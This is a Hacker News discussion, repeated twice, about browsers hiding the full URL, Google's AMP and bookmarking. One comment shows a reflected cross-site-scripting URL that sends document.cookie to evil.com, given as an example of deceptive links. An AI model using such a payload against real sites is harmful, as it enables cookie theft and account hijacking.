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If their goal is really to help detect fraudulent sites (the sorts of google.com.notahacker.tk), they can just show the domain in a more prominent way -- they'r

If their goal is really to help detect fraudulent sites (the sorts of google.com.notahacker.tk), they can just show the domain in a more prominent way -- they're already deemphasizing the part of the URL after the domain name anyway. This is clearly not their motive. What Google is trying to do here is to drift the web from its most iconic components: the URL. This is the biggest threat to the web that we loved for so many years.

mrweasel 6y ago
I honestly don’t think people are paying attention to the URL bar, at least not the people this feature it trying to protect. If it looks like Google.com, then it Google.com. The logo even says so. It’s a dumbing down of the internet, in an attempt to help the average user, but it won’t work and you’re just making life harder for those who know just a bit more then average.
- nerdponx 6y ago
  That's bullshit, it's not an attempt to help anybody but Google. What better way to keep people on AMP pages, than to make them so ignorant as to not even know how to tell the difference?
  - chiefsucker 6y ago
    What the heck? A regular user doesn’t understand or care what the technical difference between a “regular” page and AMP is. I wouldn’t call this ignorance per se.
    - choeger 6y ago
      Not knowing and not caring is the very definition of ignorance. Sometimes I wonder if feudalism must have felt like this from the perspective of the noble people. Will there be a dark age followed by enlightenment? Because right now we seem to encounter self-imposed nonage.
    - RHSeeger 6y ago
      This is patently false. I talk to non-tech "regular" users all the time that despise AMP.
      - Wistar 6y ago
        Count me among them.
      - chiefsucker 6y ago
        This is patently false. I talk to non-tech "regular" users all the time that don’t know what I’m talking about when I mention AMP and its issues.
    - Mirioron 6y ago
      I'm pretty sure regular people can tell the difference between a regular page and an AMP page. The AMP page simply doesn't work right and it's quite difficult to miss that.
      - runawaybottle 6y ago
        Also you have to go out of your way to share the original link so people know what site and descriptive link you are sharing. AMP adds 2-3 additional actions to that user flow.
    - ehnto 6y ago
      Just because they don't care doesn't mean exploiting their ignorance is okay. I don't know that I agree with the GP that this is a targeted move to get AMP to slide under the radar, but if it is we should totally care. AMP undermines the fabric of the web. Just wait for the day that Google starts serving AMP for sites that aren't even configured for it. When they serve an AMP page, they are doing more than being a middle man, they are controlling the traffic and the display of the site, and the user is none the wiser. Google penalizes you for doing the same thing, specifically because it's nefarious.
  - e1ghtSpace 6y ago
    Whats wrong with AMP pages?
    - imglorp 6y ago
      https://news.ycombinator.com/item?id=21703345 https://news.ycombinator.com/item?id=21703345
    - gsich 6y ago
      They exist.
    - hckr_news 6y ago
      I don’t click on a search result to read google.
      - paulcole 6y ago
        Why do you click on a search result? For me, it’s to get information. Why do I care what format the information is presented in?
polotics 6y ago
Word! Frankly at this point I'm even starting to think that the whole weird "SJW" angle of this thread is also disingenuous and taking us away from the boiling frog death of the Internet, replaced by AMPed up centralized comoditization of users, with death to all liberty and openness.
- biscotti 6y ago
  I believe this too. In fact, I think the evidence is not only overwhelming but the tech community is thoroughly comprimised, proven so on account of all the recent purges and attacks on wrong-think. I no longer trust my software.
  - biscotti 6y ago
    I don't know why I get downvoted for this when I wrote it based on the reality of the situation. I guess some people just feel guilty/ashamed!
- polotics 6y ago
  In the meantime the post that used the term SJW has disappeared. Oh well.
  - Lammy 6y ago
    It and its 101 children are still there if you have `showdead` enabled in your HN settings
- latexr 6y ago
  > the boiling frog death That metaphor is based on a false premise[1]: > While some 19th-century experiments suggested that the underlying premise is true if the heating is sufficiently gradual, according to contemporary biologists the premise is false: a frog that is gradually heated will jump out. Indeed, thermoregulation by changing location is a fundamentally necessary survival strategy for frogs and other ectotherms. [1]: https://en.wikipedia.org/wiki/Boiling_frog https://en.wikipedia.org/wiki/Boiling_frog
Viliam1234 6y ago
I assume the goal is to make sure that people never remember the URL and always use Google to get anywhere. Most people probably already do, but maybe increasing their number from 80% to 90% is still worth it. If this is indeed the real motivation, the next obvious target would be bookmarks. What can be done about them? Replace the bookmarked URLs by Google queries? It would be an interesting functionality if Google could look at a page and give you the smallest query that would have returned exactly this page as a first result. Then bookmark the query instead of the URL. And if the search results change in the future... I suppose, it would be possible to spin this as a feature. ("Self-improving bookmarks" perhaps? You don't have to worry about link rot; with latest Google self-improving bookmarks, your bookmark will always point to the best existing page on given topic!)
- antpls 6y ago
  > give you the smallest query that would have returned exactly this page as a first result Just out of curiosity, is there a publicly accessible Google service, or a third party service, that does this? That would be useful to find more content or point-of-view about a topic (by looking at the other results)
- Epskampie 6y ago
  The bookmarking functions in chrome are already extremely weak, I guess for the reason you point out. No tagging, only folders, results when searching don’t get top position in the omnibar. Bookmarking is one of the areas where firefox is clearly superior.
  - jeromegv 6y ago
    Same for the history, I much prefer it in Safari than Chrome. It looks like Chrome make it worthless on purpose so that we use Google instead of looking through our history.
    - wpm 6y ago
      And what’s worse is that none of the other Chromium browsers change it, it really is the worst history/bookmarking UI out there. Firefox’s isn’t much better as it feels plucked straight out of 2003. It made the Safari 13 Extension-pocalypse so much harder to bear. Every browser I can pick from has something important I have to compromise on.
mysterydip 6y ago
If you don't know the URL, you won't know if you're on an AMP site or the actual one.
- shadowgovt 6y ago
  Most users need to care about that as much as they need to care about whether the page is being vended from a fresh server response or local cache.
  - mysterydip 6y ago
    would you care if you went to mybank.com.sketchysite.us?
    - vntok 6y ago
      A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.
      - saagarjha 6y ago
        How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E http://evil.com%22%20+%20document.cookie%3C/script%3E
        vntok 6y ago
        That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s
patentatt 6y ago
We’ll be back to ‘AOL Keywords’ soon if it were up to them. “Jerry, you don’t deserve the internet” https://m.youtube.com/watch?v=lcR4h4eIR2E https://m.youtube.com/watch?v=lcR4h4eIR2E
shadowgovt 6y ago
The URL bar takes up a huge amount of screen real estate and is a piece of information that the user almost never needs once they have confirmed they navigated successfully to the desired page. Developers are a special case user and capable of handling advanced UIs that hide information until it is needed. It's iconic but it's a UI space resource hog. To improve browser experience, sometimes one has to be willing to try slaughtering a sacred cow.
- ldng 6y ago
  I'm sorry to say, but your a bit naive if you think they're doing it for cosmetic reasons.
  - shadowgovt 6y ago
    1) I'm not generally in the habit of prognosticating all of the reasons a corporation the size of Google tries to do something, especially not when there's an apparent and obvious win possible from the change itself. Minimizing the URL bar leaves room for other things on the page, including chrome extensions and, possibly, page content. 2) UI improvements are not "cosmetic reasons," they directly translate to ease and efficiency of task completion. As a UI engineer, hearing my category of work called "cosmetic changes" can be, quite frankly, exhausting. If someone were to halve the default font sizes on all browsers, would we consider that a mere "cosmetic change" or would it be a change that would have direct and immediate impact on people's ability to accomplish tasks?
    - ldng 6y ago
      Well I'm exhausted by UI/UX engineers oversimplifying things that are inherently complex. To the point to not really helping people simplifying their work and totally hindering advanced user. There is a reason industrial UI usually don't suffer this, because complex interfaces are there for a reason. You know what else is "a UI space resource hog" on the web ? Advertising. And I'm sorry but "wasted" space is generally much bigger. So, no, I'm not ready to loose my address bar for bigger ads.
SquishyPanda23 6y ago
> What Google is trying to do here is to drift the web from its most iconic components: the URL A few months back, people on HN were wondering why creating a new tab in Firefox causes the URL bar to become magnified. I wonder if this is part of the reason. Perhaps Firefox believes they have to educate users about the URL bar because Chrome is attacking it.
granzymes 6y ago
> What Google is trying to do here is to drift the web from its most iconic components: the URL. This is the biggest threat to the web that we loved for so many years. Safari has hidden the full URL since 2014. For the vast majority of users, the full URL is just noise.

mrweasel 6y ago

I honestly don’t think people are paying attention to the URL bar, at least not the people this feature it trying to protect. If it looks like Google.com, then it Google.com. The logo even says so. It’s a dumbing down of the internet, in an attempt to help the average user, but it won’t work and you’re just making life harder for those who know just a bit more then average.

nerdponx 6y ago
That's bullshit, it's not an attempt to help anybody but Google. What better way to keep people on AMP pages, than to make them so ignorant as to not even know how to tell the difference?
- chiefsucker 6y ago
  What the heck? A regular user doesn’t understand or care what the technical difference between a “regular” page and AMP is. I wouldn’t call this ignorance per se.
  - choeger 6y ago
    Not knowing and not caring is the very definition of ignorance. Sometimes I wonder if feudalism must have felt like this from the perspective of the noble people. Will there be a dark age followed by enlightenment? Because right now we seem to encounter self-imposed nonage.
  - RHSeeger 6y ago
    This is patently false. I talk to non-tech "regular" users all the time that despise AMP.
    - Wistar 6y ago
      Count me among them.
    - chiefsucker 6y ago
      This is patently false. I talk to non-tech "regular" users all the time that don’t know what I’m talking about when I mention AMP and its issues.
  - Mirioron 6y ago
    I'm pretty sure regular people can tell the difference between a regular page and an AMP page. The AMP page simply doesn't work right and it's quite difficult to miss that.
    - runawaybottle 6y ago
      Also you have to go out of your way to share the original link so people know what site and descriptive link you are sharing. AMP adds 2-3 additional actions to that user flow.
  - ehnto 6y ago
    Just because they don't care doesn't mean exploiting their ignorance is okay. I don't know that I agree with the GP that this is a targeted move to get AMP to slide under the radar, but if it is we should totally care. AMP undermines the fabric of the web. Just wait for the day that Google starts serving AMP for sites that aren't even configured for it. When they serve an AMP page, they are doing more than being a middle man, they are controlling the traffic and the display of the site, and the user is none the wiser. Google penalizes you for doing the same thing, specifically because it's nefarious.
- e1ghtSpace 6y ago
  Whats wrong with AMP pages?
  - imglorp 6y ago
    https://news.ycombinator.com/item?id=21703345 https://news.ycombinator.com/item?id=21703345
  - gsich 6y ago
    They exist.
  - hckr_news 6y ago
    I don’t click on a search result to read google.
    - paulcole 6y ago
      Why do you click on a search result? For me, it’s to get information. Why do I care what format the information is presented in?

polotics 6y ago

Word! Frankly at this point I'm even starting to think that the whole weird "SJW" angle of this thread is also disingenuous and taking us away from the boiling frog death of the Internet, replaced by AMPed up centralized comoditization of users, with death to all liberty and openness.

biscotti 6y ago
I believe this too. In fact, I think the evidence is not only overwhelming but the tech community is thoroughly comprimised, proven so on account of all the recent purges and attacks on wrong-think. I no longer trust my software.
- biscotti 6y ago
  I don't know why I get downvoted for this when I wrote it based on the reality of the situation. I guess some people just feel guilty/ashamed!
polotics 6y ago
In the meantime the post that used the term SJW has disappeared. Oh well.
- Lammy 6y ago
  It and its 101 children are still there if you have `showdead` enabled in your HN settings
latexr 6y ago
> the boiling frog death That metaphor is based on a false premise[1]: > While some 19th-century experiments suggested that the underlying premise is true if the heating is sufficiently gradual, according to contemporary biologists the premise is false: a frog that is gradually heated will jump out. Indeed, thermoregulation by changing location is a fundamentally necessary survival strategy for frogs and other ectotherms. [1]: https://en.wikipedia.org/wiki/Boiling_frog https://en.wikipedia.org/wiki/Boiling_frog

Viliam1234 6y ago

I assume the goal is to make sure that people never remember the URL and always use Google to get anywhere. Most people probably already do, but maybe increasing their number from 80% to 90% is still worth it. If this is indeed the real motivation, the next obvious target would be bookmarks. What can be done about them? Replace the bookmarked URLs by Google queries? It would be an interesting functionality if Google could look at a page and give you the smallest query that would have returned exactly this page as a first result. Then bookmark the query instead of the URL. And if the search results change in the future... I suppose, it would be possible to spin this as a feature. ("Self-improving bookmarks" perhaps? You don't have to worry about link rot; with latest Google self-improving bookmarks, your bookmark will always point to the best existing page on given topic!)

antpls 6y ago
> give you the smallest query that would have returned exactly this page as a first result Just out of curiosity, is there a publicly accessible Google service, or a third party service, that does this? That would be useful to find more content or point-of-view about a topic (by looking at the other results)
Epskampie 6y ago
The bookmarking functions in chrome are already extremely weak, I guess for the reason you point out. No tagging, only folders, results when searching don’t get top position in the omnibar. Bookmarking is one of the areas where firefox is clearly superior.
- jeromegv 6y ago
  Same for the history, I much prefer it in Safari than Chrome. It looks like Chrome make it worthless on purpose so that we use Google instead of looking through our history.
  - wpm 6y ago
    And what’s worse is that none of the other Chromium browsers change it, it really is the worst history/bookmarking UI out there. Firefox’s isn’t much better as it feels plucked straight out of 2003. It made the Safari 13 Extension-pocalypse so much harder to bear. Every browser I can pick from has something important I have to compromise on.

mysterydip 6y ago

If you don't know the URL, you won't know if you're on an AMP site or the actual one.

shadowgovt 6y ago
Most users need to care about that as much as they need to care about whether the page is being vended from a fresh server response or local cache.
- mysterydip 6y ago
  would you care if you went to mybank.com.sketchysite.us?
  - vntok 6y ago
    A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.
    - saagarjha 6y ago
      How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E http://evil.com%22%20+%20document.cookie%3C/script%3E
      - vntok 6y ago
        That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s

patentatt 6y ago

We’ll be back to ‘AOL Keywords’ soon if it were up to them. “Jerry, you don’t deserve the internet” https://m.youtube.com/watch?v=lcR4h4eIR2E https://m.youtube.com/watch?v=lcR4h4eIR2E

shadowgovt 6y ago

The URL bar takes up a huge amount of screen real estate and is a piece of information that the user almost never needs once they have confirmed they navigated successfully to the desired page. Developers are a special case user and capable of handling advanced UIs that hide information until it is needed. It's iconic but it's a UI space resource hog. To improve browser experience, sometimes one has to be willing to try slaughtering a sacred cow.

ldng 6y ago
I'm sorry to say, but your a bit naive if you think they're doing it for cosmetic reasons.
- shadowgovt 6y ago
  1) I'm not generally in the habit of prognosticating all of the reasons a corporation the size of Google tries to do something, especially not when there's an apparent and obvious win possible from the change itself. Minimizing the URL bar leaves room for other things on the page, including chrome extensions and, possibly, page content. 2) UI improvements are not "cosmetic reasons," they directly translate to ease and efficiency of task completion. As a UI engineer, hearing my category of work called "cosmetic changes" can be, quite frankly, exhausting. If someone were to halve the default font sizes on all browsers, would we consider that a mere "cosmetic change" or would it be a change that would have direct and immediate impact on people's ability to accomplish tasks?
  - ldng 6y ago
    Well I'm exhausted by UI/UX engineers oversimplifying things that are inherently complex. To the point to not really helping people simplifying their work and totally hindering advanced user. There is a reason industrial UI usually don't suffer this, because complex interfaces are there for a reason. You know what else is "a UI space resource hog" on the web ? Advertising. And I'm sorry but "wasted" space is generally much bigger. So, no, I'm not ready to loose my address bar for bigger ads.

SquishyPanda23 6y ago

> What Google is trying to do here is to drift the web from its most iconic components: the URL A few months back, people on HN were wondering why creating a new tab in Firefox causes the URL bar to become magnified. I wonder if this is part of the reason. Perhaps Firefox believes they have to educate users about the URL bar because Chrome is attacking it.

granzymes 6y ago

> What Google is trying to do here is to drift the web from its most iconic components: the URL. This is the biggest threat to the web that we loved for so many years. Safari has hidden the full URL since 2014. For the vast majority of users, the full URL is just noise.